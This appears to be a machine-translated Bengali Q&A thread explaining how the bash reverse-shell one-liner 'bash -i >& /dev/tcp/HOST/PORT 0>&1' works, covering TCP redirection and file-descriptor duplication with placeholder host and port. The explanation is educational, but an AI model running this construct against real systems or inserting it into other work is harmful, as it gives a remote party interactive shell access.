উত্তর:
এই স্নিপেটটি ব্যাশ ( bash -i
) এর একটি নতুন ইন্টারেক্টিভ উদাহরণ চালায় , নির্দিষ্ট হোস্টের নির্দিষ্ট পোর্টের সাথে টিসিপি সংযোগে যা ব্যাশ প্রক্রিয়াটির সময়কালের জন্য তৈরি হয়। এই সংযোগ ( >& /dev/tcp/HOST/PORT
) এর মাধ্যমে স্ট্যান্ডার্ড আউটপুট এবং স্ট্যান্ডার্ড ত্রুটি প্রেরণ করা হয় , এবং এই সংযোগের মাধ্যমে স্ট্যান্ডার্ড ইনপুটটি পড়া হয় ( 0>&1
- এটি হওয়া উচিত 0<&1
তবে 0>&1
খুব বেশি কাজ করে)।
কোনও বন্দরের ফরওয়ার্ডিং চলছে না। স্পষ্টতই, কোনও প্রকারের একটি টিসিপি সার্ভারটি সেই হোস্ট: পোর্টটিতে সংযোগগুলি শুনতে এবং গ্রহণ করতে হবে এবং ফায়ারওয়ালটিকে সংযোগটি দিয়ে যেতে হবে।
/dev/tcp/HOST/PORT
? আমি ধরে নিয়েছি যে আপনি একটি নাম HOST
এবং একটি সংখ্যা দ্বারা প্রতিস্থাপন করবেন PORT
। অন্যথায় আপনি বাশ থেকে একটি ত্রুটি বার্তা পাবেন। যেহেতু আপনি কোনও ত্রুটি বার্তা উল্লেখ করেননি, তাই আমি অনুমান করি যে আপনি এটি কোনও দেখতে পান নি।
0<&1
অংশটি হজম করতে পারি না । আমি এটিকে 'বাশ স্টডাউট ( &1
) নিন এবং এটিকে বাশ স্টিডিনে পাইপ করুন ' বলে পড়েছি 0
, যা বোঝা যায়। এই অংশটি কীভাবে কাজ করে তা দয়া করে ব্যাখ্যা করতে পারেন?
0<&1
এর অর্থ বর্তমানে ফাইল বর্ণনাকারী 1-তে খোলা আছে যা কিছু ডেস্ক্রিপ্টার ফাইলের >& /dev/tcp/HOST/PORT
সাথে সংযুক্ত করুন 0 যেহেতু পূর্ববর্তী পুনর্নির্দেশটি এফডি 1 সংযুক্ত হয়েছে (আউটপুট পুনর্নির্দেশের জন্য ডিফল্ট) /dev/tcp/HOST/PORT
, অর্থাত্ একটি টিসিপি সকেট খোলার ফলে এটি টিসিপি সংযোগটি ফাইল বর্ণনাকারী 0 তে ডুপ্লিকেট করে (যেমন একই সকেট এখন এফডি 0 তেও খোলা আছে, এটি 0 </ dev / tcp / HOST / PORT থেকে আলাদা যা একই সার্ভারে আলাদা সকেট খুলবে)।